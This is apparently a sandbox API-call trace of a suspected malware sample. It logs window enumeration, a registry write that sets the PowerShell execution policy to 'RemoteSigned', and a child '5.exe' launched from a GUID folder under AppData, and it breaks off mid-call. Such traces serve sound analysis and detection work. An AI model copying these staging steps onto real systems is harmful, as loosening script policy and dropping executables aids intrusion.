0x0 [0067.083] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.083] GetLastError () returned 0x0 [0067.083] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.083] GetLastError () returned 0x0 [0067.083] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.083] GetLastError () returned 0x0 [0067.083] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.083] GetLastError () returned 0x0 [0067.083] GetWindowThreadProcessId (in: hWnd=0x601b4, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x5cc [0067.084] GetLastError () returned 0x0 [0067.084] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x558 [0067.084] GetLastError () returned 0x0 [0067.084] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.084] GetLastError () returned 0x0 [0067.084] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.084] GetLastError () returned 0x0 [0067.084] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.084] GetLastError () returned 0x0 [0067.084] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x538 [0067.084] GetLastError () returned 0x0 [0067.084] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.084] GetLastError () returned 0x0 [0067.085] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x778 [0067.085] GetLastError () returned 0x0 [0067.085] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x778 [0067.085] GetLastError () returned 0x0 [0067.085] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x460 [0067.085] GetLastError () returned 0x0 [0067.085] GetWindowThreadProcessId (in: hWnd=0x500a2, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.085] GetLastError () returned 0x0 [0067.085] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.085] GetLastError () returned 0x0 [0067.085] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x508 [0067.085] GetLastError () returned 0x0 [0067.085] GetWindowThreadProcessId (in: hWnd=0x401b6, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x834 [0067.085] GetLastError () returned 0x0 [0067.086] GetWindowThreadProcessId (in: hWnd=0x301ae, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x7a0 [0067.086] GetLastError () returned 0x0 [0067.086] GetWindow (hWnd=0x301ae, uCmd=0x4) returned 0x0 [0067.086] IsWindowVisible (hWnd=0x301ae) returned 0 [0067.086] GetWindowThreadProcessId (in: hWnd=0x701b0, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x244 [0067.086] GetLastError () returned 0x0 [0067.086] GetWindowThreadProcessId (in: hWnd=0x800a8, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.086] GetLastError () returned 0x0 [0067.086] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.086] GetLastError () returned 0x0 [0067.086] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.086] GetLastError () returned 0x0 [0067.086] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.086] GetLastError () returned 0x0 [0067.086] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.086] GetLastError () returned 0x0 [0067.087] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.087] GetLastError () returned 0x0 [0067.087] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.087] GetLastError () returned 0x0 [0067.087] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.087] GetLastError () returned 0x0 [0067.087] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x734 [0067.087] GetLastError () returned 0x0 [0067.087] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x6ac [0067.087] GetLastError () returned 0x0 [0067.087] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x488 [0067.087] GetLastError () returned 0x0 [0067.087] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x7c8 [0067.087] GetLastError () returned 0x0 [0067.088] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x15c [0067.088] GetLastError () returned 0x0 [0067.088] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x774 [0067.088] GetLastError () returned 0x0 [0067.088] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x518 [0067.088] GetLastError () returned 0x0 [0067.088] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x274 [0067.088] GetLastError () returned 0x0 [0067.088] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x314 [0067.088] GetLastError () returned 0x0 [0067.088] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x210 [0067.088] GetLastError () returned 0x0 [0067.088] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x240 [0067.088] GetLastError () returned 0x0 [0067.089] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x780 [0067.089] GetLastError () returned 0x0 [0067.089] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x5a4 [0067.089] GetLastError () returned 0x0 [0067.089] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x62c [0067.089] GetLastError () returned 0x0 [0067.089] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0xc4 [0067.089] GetLastError () returned 0x0 [0067.089] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x6f8 [0067.089] GetLastError () returned 0x0 [0067.089] GetWindowThreadProcessId (in: hWnd=0x30112, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x5c8 [0067.089] GetLastError () returned 0x0 [0067.089] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x540 [0067.089] GetLastError () returned 0x0 [0067.090] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x538 [0067.090] GetLastError () returned 0x0 [0067.090] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x568 [0067.090] GetLastError () returned 0x0 [0067.090] GetWindowThreadProcessId (in: hWnd=0x20144, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x538 [0067.090] GetLastError () returned 0x0 [0067.090] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x568 [0067.090] GetLastError () returned 0x0 [0067.090] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x538 [0067.090] GetLastError () returned 0x0 [0067.090] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x540 [0067.090] GetLastError () returned 0x0 [0067.090] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x540 [0067.090] GetLastError () returned 0x0 [0067.091] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x510 [0067.091] GetLastError () returned 0x0 [0067.091] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x57c [0067.091] GetLastError () returned 0x0 [0067.091] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x460 [0067.091] GetLastError () returned 0x0 [0067.091] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x554 [0067.091] GetLastError () returned 0x0 [0067.091] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.091] GetLastError () returned 0x0 [0067.091] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x528 [0067.091] GetLastError () returned 0x0 [0067.091] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.091] GetLastError () returned 0x0 [0067.092] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.092] GetLastError () returned 0x0 [0067.092] GetWindowThreadProcessId (in: hWnd=0x1006e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.092] GetLastError () returned 0x0 [0067.092] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x79c [0067.092] GetLastError () returned 0x0 [0067.092] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.092] GetLastError () returned 0x0 [0067.092] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4e0 [0067.092] GetLastError () returned 0x0 [0067.092] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.092] GetLastError () returned 0x0 [0067.092] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x460 [0067.092] GetLastError () returned 0x0 [0067.093] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x460 [0067.093] GetLastError () returned 0x0 [0067.093] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x44c [0067.093] GetLastError () returned 0x0 [0067.093] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x778 [0067.093] GetLastError () returned 0x0 [0067.093] GetWindowThreadProcessId (in: hWnd=0x201e4, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x460 [0067.093] GetLastError () returned 0x0 [0067.093] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x460 [0067.093] GetLastError () returned 0x0 [0067.093] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.093] GetLastError () returned 0x0 [0067.093] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4d0 [0067.093] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x301ac, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x5cc [0067.094] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x90122, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x5cc [0067.094] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x30140, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x558 [0067.094] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x508 [0067.094] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x20104, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x460 [0067.094] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x460 [0067.094] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x201e6, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x834 [0067.094] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x301aa, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x78c [0067.094] GetLastError () returned 0x0 [0067.094] GetWindowThreadProcessId (in: hWnd=0x301d8, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x244 [0067.094] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x734 [0067.095] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x6ac [0067.095] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x488 [0067.095] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x7c8 [0067.095] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x15c [0067.095] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x774 [0067.095] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x518 [0067.095] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x274 [0067.095] GetLastError () returned 0x0 [0067.095] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x314 [0067.095] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x210 [0067.096] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x240 [0067.096] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x780 [0067.096] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x5a4 [0067.096] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x62c [0067.096] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0xc4 [0067.096] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x6f8 [0067.096] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x5c8 [0067.096] GetLastError () returned 0x0 [0067.096] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x568 [0067.096] GetLastError () returned 0x0 [0067.097] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x538 [0067.097] GetLastError () returned 0x0 [0067.097] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x540 [0067.097] GetLastError () returned 0x0 [0067.097] GetWindowThreadProcessId (in: hWnd=0x700a4, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x510 [0067.097] GetLastError () returned 0x0 [0067.097] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x79c [0067.097] GetLastError () returned 0x0 [0067.097] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x4e0 [0067.097] GetLastError () returned 0x0 [0067.097] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x5efec60 | out: lpdwProcessId=0x5efec60) returned 0x778 [0067.097] GetLastError () returned 0x0 [0067.097] GetLastError () returned 0x0 [0067.097] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x2001f, phkResult=0x5eff028 | out: phkResult=0x5eff028*=0x0) returned 0x2 [0067.098] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x5eff034, lpdwDisposition=0x5eff0c4 | out: phkResult=0x5eff034*=0x368, lpdwDisposition=0x5eff0c4*=0x1) returned 0x0 [0067.100] RegQueryValueExW (in: hKey=0x368, lpValueName="ExecutionPolicy", lpReserved=0x0, lpType=0x5eff080, lpData=0x0, lpcbData=0x5eff07c*=0x0 | out: lpType=0x5eff080*=0x0, lpData=0x0, lpcbData=0x5eff07c*=0x0) returned 0x2 [0067.101] RegSetValueExW (in: hKey=0x368, lpValueName="ExecutionPolicy", Reserved=0x0, dwType=0x1, lpData="RemoteSigned", cbData=0x1a | out: lpData="RemoteSigned") returned 0x0 [0067.101] RegCloseKey (hKey=0x368) returned 0x0 [0067.102] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eff034 | out: phkResult=0x5eff034*=0x0) returned 0x2 [0067.102] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eff034 | out: phkResult=0x5eff034*=0x0) returned 0x2 [0067.102] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eff034 | out: phkResult=0x5eff034*=0x368) returned 0x0 [0067.102] RegQueryValueExW (in: hKey=0x368, lpValueName="ExecutionPolicy", lpReserved=0x0, lpType=0x5eff07c, lpData=0x0, lpcbData=0x5eff078*=0x0 | out: lpType=0x5eff07c*=0x1, lpData=0x0, lpcbData=0x5eff078*=0x1a) returned 0x0 [0067.102] RegQueryValueExW (in: hKey=0x368, lpValueName="ExecutionPolicy", lpReserved=0x0, lpType=0x5eff07c, lpData=0x49d7a0, lpcbData=0x5eff078*=0x1a | out: lpType=0x5eff07c*=0x1, lpData="RemoteSigned", lpcbData=0x5eff078*=0x1a) returned 0x0 [0067.102] RegCloseKey (hKey=0x368) returned 0x0 [0067.106] SetEvent (hEvent=0x390) returned 1 [0067.106] GetLastError () returned 0xcb [0067.106] SetEvent (hEvent=0x3a8) returned 1 [0067.107] GetLastError () returned 0xcb [0067.107] SetEvent (hEvent=0x3ac) returned 1 [0067.107] GetLastError () returned 0xcb [0067.107] SetEvent (hEvent=0x3cc) returned 1 [0067.107] GetLastError () returned 0xcb [0067.107] SetEvent (hEvent=0x320) returned 1 [0067.107] GetLastError () returned 0xcb [0067.107] SetEvent (hEvent=0x3b4) returned 1 [0067.107] GetLastError () returned 0xcb [0067.107] SetEvent (hEvent=0x3b8) returned 1 [0067.107] GetLastError () returned 0xcb [0067.107] SetEvent (hEvent=0x31c) returned 1 [0067.107] GetLastError () returned 0xcb [0067.107] SetEvent (hEvent=0x3bc) returned 1 [0067.111] GetLastError () returned 0xcb [0067.115] CoUninitialize () Thread: id = 81 os_tid = 0x9fc [0067.118] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0067.140] SetThreadUILanguage (LangId=0x0) returned 0x409 [0067.140] VirtualQuery (in: lpAddress=0x6a7e1f0, lpBuffer=0x6a7f1f0, dwLength=0x1c | out: lpBuffer=0x6a7f1f0*(BaseAddress=0x6a7e000, AllocationBase=0x60f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0067.141] VirtualQuery (in: lpAddress=0x6a7e30c, lpBuffer=0x6a7f30c, dwLength=0x1c | out: lpBuffer=0x6a7f30c*(BaseAddress=0x6a7e000, AllocationBase=0x60f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0067.144] SetEvent (hEvent=0x374) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x378) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x380) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x374) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x378) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x3c4) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x384) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x388) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x38c) returned 1 [0067.144] GetLastError () returned 0x0 [0067.144] SetEvent (hEvent=0x3b0) returned 1 [0067.145] GetLastError () returned 0x0 [0067.145] CoUninitialize () Process: id = "11" image_name = "5.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe" page_root = "0x44a62000" os_pid = "0x354" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x714" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 57 os_tid = 0x6e4 [0050.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xee2d5b0, dwHighDateTime=0x1d53559)) [0050.415] GetCurrentProcessId () returned 0x354 [0050.415] GetCurrentThreadId () returned 0x6e4 [0050.415] GetTickCount () returned 0x1b460 [0050.416] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17069156874) returned 1 [0050.428] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0050.428] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e70000 [0050.429] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.430] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0050.430] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0050.430] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0050.430] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0050.430] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.430] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.430] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.430] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.430] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.430] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.430] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.431] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.431] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.431] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.431] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.431] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.431] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.431] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.432] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.432] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.432] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x214) returned 0x1e707d0 [0050.432] GetModuleHandleW 